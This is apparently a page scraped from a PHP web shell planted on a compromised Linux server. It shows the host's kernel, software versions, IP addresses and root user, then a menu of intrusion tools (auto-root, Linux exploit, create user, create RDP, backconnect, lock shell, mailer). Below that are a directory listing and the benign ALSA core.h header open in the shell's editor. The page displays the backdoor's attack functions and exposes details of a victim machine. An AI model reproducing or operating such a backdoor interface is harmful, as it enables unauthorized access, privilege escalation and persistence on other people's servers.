Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-4.15.0-213 /
include /
sound /
[ HOME SHELL ]
Name
Size
Permission
Action
ac97
[ DIR ]
drwxr-xr-x
ac97_codec.h
16.34
KB
-rw-r--r--
aci.h
2.4
KB
-rw-r--r--
ad1816a.h
5.38
KB
-rw-r--r--
ad1843.h
1.48
KB
-rw-r--r--
adau1373.h
699
B
-rw-r--r--
aess.h
1.63
KB
-rw-r--r--
ak4113.h
10.89
KB
-rw-r--r--
ak4114.h
10.22
KB
-rw-r--r--
ak4117.h
9.02
KB
-rw-r--r--
ak4531_codec.h
3.1
KB
-rw-r--r--
ak4641.h
622
B
-rw-r--r--
ak4xxx-adda.h
3.34
KB
-rw-r--r--
alc5623.h
536
B
-rw-r--r--
asequencer.h
3.58
KB
-rw-r--r--
asound.h
1.25
KB
-rw-r--r--
asoundef.h
16.7
KB
-rw-r--r--
compress_driver.h
6.93
KB
-rw-r--r--
control.h
8.84
KB
-rw-r--r--
core.h
13.84
KB
-rw-r--r--
cs35l33.h
1.01
KB
-rw-r--r--
cs35l34.h
887
B
-rw-r--r--
cs35l35.h
2.36
KB
-rw-r--r--
cs4231-regs.h
8.28
KB
-rw-r--r--
cs4271.h
1.38
KB
-rw-r--r--
cs42l52.h
738
B
-rw-r--r--
cs42l56.h
1.16
KB
-rw-r--r--
cs42l73.h
507
B
-rw-r--r--
cs8403.h
8.63
KB
-rw-r--r--
cs8427.h
10.4
KB
-rw-r--r--
da7213.h
1.15
KB
-rw-r--r--
da7218.h
2.62
KB
-rw-r--r--
da7219-aad.h
2.42
KB
-rw-r--r--
da7219.h
1.04
KB
-rw-r--r--
da9055.h
914
B
-rw-r--r--
designware_i2s.h
2.25
KB
-rw-r--r--
dmaengine_pcm.h
6.22
KB
-rw-r--r--
emu10k1.h
89.25
KB
-rw-r--r--
emu10k1_synth.h
1.35
KB
-rw-r--r--
emu8000.h
4.01
KB
-rw-r--r--
emu8000_reg.h
10.21
KB
-rw-r--r--
emux_legacy.h
5.37
KB
-rw-r--r--
emux_synth.h
7.46
KB
-rw-r--r--
es1688.h
3.53
KB
-rw-r--r--
gus.h
20.21
KB
-rw-r--r--
hda_chmap.h
2.6
KB
-rw-r--r--
hda_hwdep.h
1.38
KB
-rw-r--r--
hda_i915.h
1.64
KB
-rw-r--r--
hda_register.h
10
KB
-rw-r--r--
hda_regmap.h
6.59
KB
-rw-r--r--
hda_verbs.h
16.81
KB
-rw-r--r--
hdaudio.h
18.39
KB
-rw-r--r--
hdaudio_ext.h
6.99
KB
-rw-r--r--
hdmi-codec.h
2.42
KB
-rw-r--r--
hwdep.h
2.56
KB
-rw-r--r--
i2c.h
3.47
KB
-rw-r--r--
info.h
7.41
KB
-rw-r--r--
initval.h
3.08
KB
-rw-r--r--
jack.h
3.75
KB
-rw-r--r--
l3.h
524
B
-rw-r--r--
max9768.h
729
B
-rw-r--r--
max98088.h
1.26
KB
-rw-r--r--
max98090.h
754
B
-rw-r--r--
max98095.h
1.54
KB
-rw-r--r--
memalloc.h
4.41
KB
-rw-r--r--
minors.h
4.33
KB
-rw-r--r--
mixer_oss.h
2.41
KB
-rw-r--r--
mpu401.h
4.49
KB
-rw-r--r--
omap-hdmi-audio.h
1.34
KB
-rw-r--r--
omap-pcm.h
864
B
-rw-r--r--
opl3.h
12.31
KB
-rw-r--r--
opl4.h
1.1
KB
-rw-r--r--
pcm-indirect.h
5.7
KB
-rw-r--r--
pcm.h
47.51
KB
-rw-r--r--
pcm_drm_eld.h
183
B
-rw-r--r--
pcm_iec958.h
332
B
-rw-r--r--
pcm_oss.h
2.69
KB
-rw-r--r--
pcm_params.h
9.03
KB
-rw-r--r--
pt2258.h
1.18
KB
-rw-r--r--
pxa2xx-lib.h
1.48
KB
-rw-r--r--
rawmidi.h
6.17
KB
-rw-r--r--
rt286.h
460
B
-rw-r--r--
rt298.h
519
B
-rw-r--r--
rt5514.h
478
B
-rw-r--r--
rt5640.h
648
B
-rw-r--r--
rt5645.h
738
B
-rw-r--r--
rt5651.h
581
B
-rw-r--r--
rt5659.h
1003
B
-rw-r--r--
rt5660.h
724
B
-rw-r--r--
rt5663.h
622
B
-rw-r--r--
rt5665.h
907
B
-rw-r--r--
rt5670.h
679
B
-rw-r--r--
s3c24xx_uda134x.h
229
B
-rw-r--r--
sb.h
10.98
KB
-rw-r--r--
sb16_csp.h
2.71
KB
-rw-r--r--
seq_device.h
2.79
KB
-rw-r--r--
seq_kernel.h
3.96
KB
-rw-r--r--
seq_midi_emul.h
7.26
KB
-rw-r--r--
seq_midi_event.h
2.17
KB
-rw-r--r--
seq_oss.h
2.86
KB
-rw-r--r--
seq_oss_legacy.h
1
KB
-rw-r--r--
seq_virmidi.h
2.73
KB
-rw-r--r--
sh_dac_audio.h
587
B
-rw-r--r--
sh_fsi.h
847
B
-rw-r--r--
simple_card.h
683
B
-rw-r--r--
simple_card_utils.h
3.96
KB
-rw-r--r--
snd_wavefront.h
5.57
KB
-rw-r--r--
soc-acpi-intel-match.h
1.1
KB
-rw-r--r--
soc-acpi.h
3.6
KB
-rw-r--r--
soc-dai.h
11.13
KB
-rw-r--r--
soc-dapm.h
30.87
KB
-rw-r--r--
soc-dpcm.h
4.73
KB
-rw-r--r--
soc-topology.h
5.71
KB
-rw-r--r--
soc.h
63.47
KB
-rw-r--r--
soundfont.h
4.48
KB
-rw-r--r--
spear_dma.h
1003
B
-rw-r--r--
spear_spdif.h
1010
B
-rw-r--r--
sta32x.h
1.2
KB
-rw-r--r--
sta350.h
1.65
KB
-rw-r--r--
tas2552-plat.h
678
B
-rw-r--r--
tas5086.h
210
B
-rw-r--r--
tea6330t.h
1.14
KB
-rw-r--r--
timer.h
5.56
KB
-rw-r--r--
tlv.h
2.27
KB
-rw-r--r--
tlv320aic32x4.h
1.43
KB
-rw-r--r--
tlv320aic3x.h
1.88
KB
-rw-r--r--
tlv320dac33-plat.h
720
B
-rw-r--r--
tpa6130a2-plat.h
900
B
-rw-r--r--
uda134x.h
597
B
-rw-r--r--
uda1380.h
481
B
-rw-r--r--
util_mem.h
2.26
KB
-rw-r--r--
vx_core.h
15.34
KB
-rw-r--r--
wavefront.h
18.76
KB
-rw-r--r--
wm0010.h
679
B
-rw-r--r--
wm1250-ev1.h
656
B
-rw-r--r--
wm2000.h
625
B
-rw-r--r--
wm2200.h
1.46
KB
-rw-r--r--
wm5100.h
1.25
KB
-rw-r--r--
wm8903.h
15.16
KB
-rw-r--r--
wm8904.h
7.43
KB
-rw-r--r--
wm8955.h
662
B
-rw-r--r--
wm8960.h
603
B
-rw-r--r--
wm8962.h
1.8
KB
-rw-r--r--
wm8993.h
1.19
KB
-rw-r--r--
wm8996.h
1.4
KB
-rw-r--r--
wm9081.h
661
B
-rw-r--r--
wm9090.h
780
B
-rw-r--r--
wss.h
8.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : core.h
#ifndef __SOUND_CORE_H #define __SOUND_CORE_H /* * Main header file for the ALSA driver * Copyright (c) 1994-2001 by Jaroslav Kysela <perex@perex.cz> * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <linux/device.h> #include <linux/sched.h> /* wake_up() */ #include <linux/mutex.h> /* struct mutex */ #include <linux/rwsem.h> /* struct rw_semaphore */ #include <linux/pm.h> /* pm_message_t */ #include <linux/stringify.h> #include <linux/printk.h> /* number of supported soundcards */ #ifdef CONFIG_SND_DYNAMIC_MINORS #define SNDRV_CARDS CONFIG_SND_MAX_CARDS #else #define SNDRV_CARDS 8 /* don't change - minor numbers */ #endif #define CONFIG_SND_MAJOR 116 /* standard configuration */ /* forward declarations */ struct pci_dev; struct module; struct completion; /* device allocation stuff */ /* type of the object used in snd_device_*() * this also defines the calling order */ enum snd_device_type { SNDRV_DEV_LOWLEVEL, SNDRV_DEV_CONTROL, SNDRV_DEV_INFO, SNDRV_DEV_BUS, SNDRV_DEV_CODEC, SNDRV_DEV_PCM, SNDRV_DEV_COMPRESS, SNDRV_DEV_RAWMIDI, SNDRV_DEV_TIMER, SNDRV_DEV_SEQUENCER, SNDRV_DEV_HWDEP, SNDRV_DEV_JACK, }; enum snd_device_state { SNDRV_DEV_BUILD, SNDRV_DEV_REGISTERED, SNDRV_DEV_DISCONNECTED, }; struct snd_device; struct snd_device_ops { int (*dev_free)(struct snd_device *dev); int (*dev_register)(struct snd_device *dev); int (*dev_disconnect)(struct snd_device *dev); }; struct snd_device { struct list_head list; /* list of registered devices */ struct snd_card *card; /* card which holds this device */ enum snd_device_state state; /* state of the device */ enum snd_device_type type; /* device type */ void *device_data; /* device structure */ struct snd_device_ops *ops; /* operations */ }; #define snd_device(n) list_entry(n, struct snd_device, list) /* main structure for soundcard */ struct snd_card { int number; /* number of soundcard (index to snd_cards) */ char id[16]; /* id string of this card */ char driver[16]; /* driver name */ char shortname[32]; /* short name of this soundcard */ char longname[80]; /* name of this soundcard */ char irq_descr[32]; /* Interrupt description */ char mixername[80]; /* mixer name */ char components[128]; /* card components delimited with space */ struct module *module; /* top-level module */ void *private_data; /* private data for soundcard */ void (*private_free) (struct snd_card *card); /* callback for freeing of private data */ struct list_head devices; /* devices */ struct device ctl_dev; /* control device */ unsigned int last_numid; /* last used numeric ID */ struct rw_semaphore controls_rwsem; /* controls list lock */ rwlock_t ctl_files_rwlock; /* ctl_files list lock */ int controls_count; /* count of all controls */ int user_ctl_count; /* count of all user controls */ struct list_head controls; /* all controls for this card */ struct list_head ctl_files; /* active control files */ struct snd_info_entry *proc_root; /* root for soundcard specific files */ struct snd_info_entry *proc_id; /* the card id */ struct proc_dir_entry *proc_root_link; /* number link to real id */ struct list_head files_list; /* all files associated to this card */ struct snd_shutdown_f_ops *s_f_ops; /* file operations in the shutdown state */ spinlock_t files_lock; /* lock the files for this card */ int shutdown; /* this card is going down */ struct completion *release_completion; struct device *dev; /* device assigned to this card */ struct device card_dev; /* cardX object for sysfs */ const struct attribute_group *dev_groups[4]; /* assigned sysfs attr */ bool registered; /* card_dev is registered? */ wait_queue_head_t remove_sleep; #ifdef CONFIG_PM unsigned int power_state; /* power state */ wait_queue_head_t power_sleep; #endif #if IS_ENABLED(CONFIG_SND_MIXER_OSS) struct snd_mixer_oss *mixer_oss; int mixer_oss_change_count; #endif }; #define dev_to_snd_card(p) container_of(p, struct snd_card, card_dev) #ifdef CONFIG_PM static inline unsigned int snd_power_get_state(struct snd_card *card) { return card->power_state; } static inline void snd_power_change_state(struct snd_card *card, unsigned int state) { card->power_state = state; wake_up(&card->power_sleep); } /* init.c */ int snd_power_wait(struct snd_card *card, unsigned int power_state); #else /* ! CONFIG_PM */ static inline int snd_power_wait(struct snd_card *card, unsigned int state) { return 0; } #define snd_power_get_state(card) ({ (void)(card); SNDRV_CTL_POWER_D0; }) #define snd_power_change_state(card, state) do { (void)(card); } while (0) #endif /* CONFIG_PM */ struct snd_minor { int type; /* SNDRV_DEVICE_TYPE_XXX */ int card; /* card number */ int device; /* device number */ const struct file_operations *f_ops; /* file operations */ void *private_data; /* private data for f_ops->open */ struct device *dev; /* device for sysfs */ struct snd_card *card_ptr; /* assigned card instance */ }; /* return a device pointer linked to each sound device as a parent */ static inline struct device *snd_card_get_device_link(struct snd_card *card) { return card ? &card->card_dev : NULL; } /* sound.c */ extern int snd_major; extern int snd_ecards_limit; extern struct class *sound_class; void snd_request_card(int card); void snd_device_initialize(struct device *dev, struct snd_card *card); int snd_register_device(int type, struct snd_card *card, int dev, const struct file_operations *f_ops, void *private_data, struct device *device); int snd_unregister_device(struct device *dev); void *snd_lookup_minor_data(unsigned int minor, int type); #ifdef CONFIG_SND_OSSEMUL int snd_register_oss_device(int type, struct snd_card *card, int dev, const struct file_operations *f_ops, void *private_data); int snd_unregister_oss_device(int type, struct snd_card *card, int dev); void *snd_lookup_oss_minor_data(unsigned int minor, int type); #endif int snd_minor_info_init(void); /* sound_oss.c */ #ifdef CONFIG_SND_OSSEMUL int snd_minor_info_oss_init(void); #else static inline int snd_minor_info_oss_init(void) { return 0; } #endif /* memory.c */ int copy_to_user_fromio(void __user *dst, const volatile void __iomem *src, size_t count); int copy_from_user_toio(volatile void __iomem *dst, const void __user *src, size_t count); /* init.c */ extern struct snd_card *snd_cards[SNDRV_CARDS]; int snd_card_locked(int card); #if IS_ENABLED(CONFIG_SND_MIXER_OSS) #define SND_MIXER_OSS_NOTIFY_REGISTER 0 #define SND_MIXER_OSS_NOTIFY_DISCONNECT 1 #define SND_MIXER_OSS_NOTIFY_FREE 2 extern int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd); #endif int snd_card_new(struct device *parent, int idx, const char *xid, struct module *module, int extra_size, struct snd_card **card_ret); int snd_card_disconnect(struct snd_card *card); void snd_card_disconnect_sync(struct snd_card *card); int snd_card_free(struct snd_card *card); int snd_card_free_when_closed(struct snd_card *card); void snd_card_set_id(struct snd_card *card, const char *id); int snd_card_register(struct snd_card *card); int snd_card_info_init(void); int snd_card_add_dev_attr(struct snd_card *card, const struct attribute_group *group); int snd_component_add(struct snd_card *card, const char *component); int snd_card_file_add(struct snd_card *card, struct file *file); int snd_card_file_remove(struct snd_card *card, struct file *file); #define snd_card_unref(card) put_device(&(card)->card_dev) #define snd_card_set_dev(card, devptr) ((card)->dev = (devptr)) /* device.c */ int snd_device_new(struct snd_card *card, enum snd_device_type type, void *device_data, struct snd_device_ops *ops); int snd_device_register(struct snd_card *card, void *device_data); int snd_device_register_all(struct snd_card *card); void snd_device_disconnect(struct snd_card *card, void *device_data); void snd_device_disconnect_all(struct snd_card *card); void snd_device_free(struct snd_card *card, void *device_data); void snd_device_free_all(struct snd_card *card); /* isadma.c */ #ifdef CONFIG_ISA_DMA_API #define DMA_MODE_NO_ENABLE 0x0100 void snd_dma_program(unsigned long dma, unsigned long addr, unsigned int size, unsigned short mode); void snd_dma_disable(unsigned long dma); unsigned int snd_dma_pointer(unsigned long dma, unsigned int size); #endif /* misc.c */ struct resource; void release_and_free_resource(struct resource *res); /* --- */ /* sound printk debug levels */ enum { SND_PR_ALWAYS, SND_PR_DEBUG, SND_PR_VERBOSE, }; #if defined(CONFIG_SND_DEBUG) || defined(CONFIG_SND_VERBOSE_PRINTK) __printf(4, 5) void __snd_printk(unsigned int level, const char *file, int line, const char *format, ...); #else #define __snd_printk(level, file, line, format, ...) \ printk(format, ##__VA_ARGS__) #endif /** * snd_printk - printk wrapper * @fmt: format string * * Works like printk() but prints the file and the line of the caller * when configured with CONFIG_SND_VERBOSE_PRINTK. */ #define snd_printk(fmt, ...) \ __snd_printk(0, __FILE__, __LINE__, fmt, ##__VA_ARGS__) #ifdef CONFIG_SND_DEBUG /** * snd_printd - debug printk * @fmt: format string * * Works like snd_printk() for debugging purposes. * Ignored when CONFIG_SND_DEBUG is not set. */ #define snd_printd(fmt, ...) \ __snd_printk(1, __FILE__, __LINE__, fmt, ##__VA_ARGS__) #define _snd_printd(level, fmt, ...) \ __snd_printk(level, __FILE__, __LINE__, fmt, ##__VA_ARGS__) /** * snd_BUG - give a BUG warning message and stack trace * * Calls WARN() if CONFIG_SND_DEBUG is set. * Ignored when CONFIG_SND_DEBUG is not set. */ #define snd_BUG() WARN(1, "BUG?\n") /** * Suppress high rates of output when CONFIG_SND_DEBUG is enabled. */ #define snd_printd_ratelimit() printk_ratelimit() /** * snd_BUG_ON - debugging check macro * @cond: condition to evaluate * * Has the same behavior as WARN_ON when CONFIG_SND_DEBUG is set, * otherwise just evaluates the conditional and returns the value. */ #define snd_BUG_ON(cond) WARN_ON((cond)) #else /* !CONFIG_SND_DEBUG */ __printf(1, 2) static inline void snd_printd(const char *format, ...) {} __printf(2, 3) static inline void _snd_printd(int level, const char *format, ...) {} #define snd_BUG() do { } while (0) #define snd_BUG_ON(condition) ({ \ int __ret_warn_on = !!(condition); \ unlikely(__ret_warn_on); \ }) static inline bool snd_printd_ratelimit(void) { return false; } #endif /* CONFIG_SND_DEBUG */ #ifdef CONFIG_SND_DEBUG_VERBOSE /** * snd_printdd - debug printk * @format: format string * * Works like snd_printk() for debugging purposes. * Ignored when CONFIG_SND_DEBUG_VERBOSE is not set. */ #define snd_printdd(format, ...) \ __snd_printk(2, __FILE__, __LINE__, format, ##__VA_ARGS__) #else __printf(1, 2) static inline void snd_printdd(const char *format, ...) {} #endif #define SNDRV_OSS_VERSION ((3<<16)|(8<<8)|(1<<4)|(0)) /* 3.8.1a */ /* for easier backward-porting */ #if IS_ENABLED(CONFIG_GAMEPORT) #define gameport_set_dev_parent(gp,xdev) ((gp)->dev.parent = (xdev)) #define gameport_set_port_data(gp,r) ((gp)->port_data = (r)) #define gameport_get_port_data(gp) (gp)->port_data #endif /* PCI quirk list helper */ struct snd_pci_quirk { unsigned short subvendor; /* PCI subvendor ID */ unsigned short subdevice; /* PCI subdevice ID */ unsigned short subdevice_mask; /* bitmask to match */ int value; /* value */ #ifdef CONFIG_SND_DEBUG_VERBOSE const char *name; /* name of the device (optional) */ #endif }; #define _SND_PCI_QUIRK_ID_MASK(vend, mask, dev) \ .subvendor = (vend), .subdevice = (dev), .subdevice_mask = (mask) #define _SND_PCI_QUIRK_ID(vend, dev) \ _SND_PCI_QUIRK_ID_MASK(vend, 0xffff, dev) #define SND_PCI_QUIRK_ID(vend,dev) {_SND_PCI_QUIRK_ID(vend, dev)} #ifdef CONFIG_SND_DEBUG_VERBOSE #define SND_PCI_QUIRK(vend,dev,xname,val) \ {_SND_PCI_QUIRK_ID(vend, dev), .value = (val), .name = (xname)} #define SND_PCI_QUIRK_VENDOR(vend, xname, val) \ {_SND_PCI_QUIRK_ID_MASK(vend, 0, 0), .value = (val), .name = (xname)} #define SND_PCI_QUIRK_MASK(vend, mask, dev, xname, val) \ {_SND_PCI_QUIRK_ID_MASK(vend, mask, dev), \ .value = (val), .name = (xname)} #define snd_pci_quirk_name(q) ((q)->name) #else #define SND_PCI_QUIRK(vend,dev,xname,val) \ {_SND_PCI_QUIRK_ID(vend, dev), .value = (val)} #define SND_PCI_QUIRK_MASK(vend, mask, dev, xname, val) \ {_SND_PCI_QUIRK_ID_MASK(vend, mask, dev), .value = (val)} #define SND_PCI_QUIRK_VENDOR(vend, xname, val) \ {_SND_PCI_QUIRK_ID_MASK(vend, 0, 0), .value = (val)} #define snd_pci_quirk_name(q) "" #endif #ifdef CONFIG_PCI const struct snd_pci_quirk * snd_pci_quirk_lookup(struct pci_dev *pci, const struct snd_pci_quirk *list); const struct snd_pci_quirk * snd_pci_quirk_lookup_id(u16 vendor, u16 device, const struct snd_pci_quirk *list); #else static inline const struct snd_pci_quirk * snd_pci_quirk_lookup(struct pci_dev *pci, const struct snd_pci_quirk *list) { return NULL; } static inline const struct snd_pci_quirk * snd_pci_quirk_lookup_id(u16 vendor, u16 device, const struct snd_pci_quirk *list) { return NULL; } #endif /* async signal helpers */ struct snd_fasync; int snd_fasync_helper(int fd, struct file *file, int on, struct snd_fasync **fasyncp); void snd_kill_fasync(struct snd_fasync *fasync, int signal, int poll); void snd_fasync_free(struct snd_fasync *fasync); #endif /* __SOUND_CORE_H */
Close